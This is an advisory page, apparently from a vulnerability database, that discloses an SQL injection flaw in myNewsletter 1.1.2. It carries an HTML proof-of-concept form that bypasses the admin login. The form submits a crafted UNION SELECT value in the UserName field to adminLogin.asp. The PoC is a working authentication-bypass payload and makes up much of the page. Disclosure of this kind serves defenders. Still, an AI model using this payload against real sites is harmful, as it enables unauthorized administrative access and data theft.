myNewsletter 1.1.2 UserName SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

myNewsletter 1.1.2 has an SQL injection vulnerability that can compromise data security.


                                                source: http://www.securityfocus.com/bid/18287/info

myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

&#60;html&#62;&#60;center&#62;&#60;h1&#62;KAPDA myNewsletter 1.1.2 Login bypass PoC&#60;/h1&#62;&#60;br&#62;change action in source and then submit
&#60;/center&#62;&#60;form name=&#34;adminLogin&#34; method=&#34;post&#34; action=&#34;http://www.site.com/newsletter/adminLogin.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;UserName&#34; value=&#34;&#60;!--&#039;union select 1 from Newsletter_Admin where &#039;&#039;=&#039;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Password&#34; value=&#34;1&#34;&#62;
&#60;center&#62;&#60;br&#62;&#60;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;Login&#34;&#62;&#60;/center&#62;&#60;br&#62;&#60;br&#62;
&#60;!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net --&#62;
&#60;center&#62;&#60;a href=&#34;http://www.kapda.ir&#34;&#62;www.kapda.ir&#60;/a&#62;&#60;/center&#62;
&#60;/form&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1